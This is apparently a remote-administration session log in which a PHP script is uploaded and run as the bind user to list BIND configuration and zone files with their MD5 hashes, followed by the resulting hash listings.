p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:22:59: Establishing a connection
2026-01-03 19:22:59: 

PUT: /tmp/pkp453572

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:23:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp453572; rm /tmp/pkp453572'

2026-01-03 19:23:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:23:24: Establishing a connection
2026-01-03 19:23:32: Establishing a connection
2026-01-03 19:23:32: 

PUT: /tmp/pkp429355

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:23:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp429355; rm /tmp/pkp429355'

2026-01-03 19:23:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
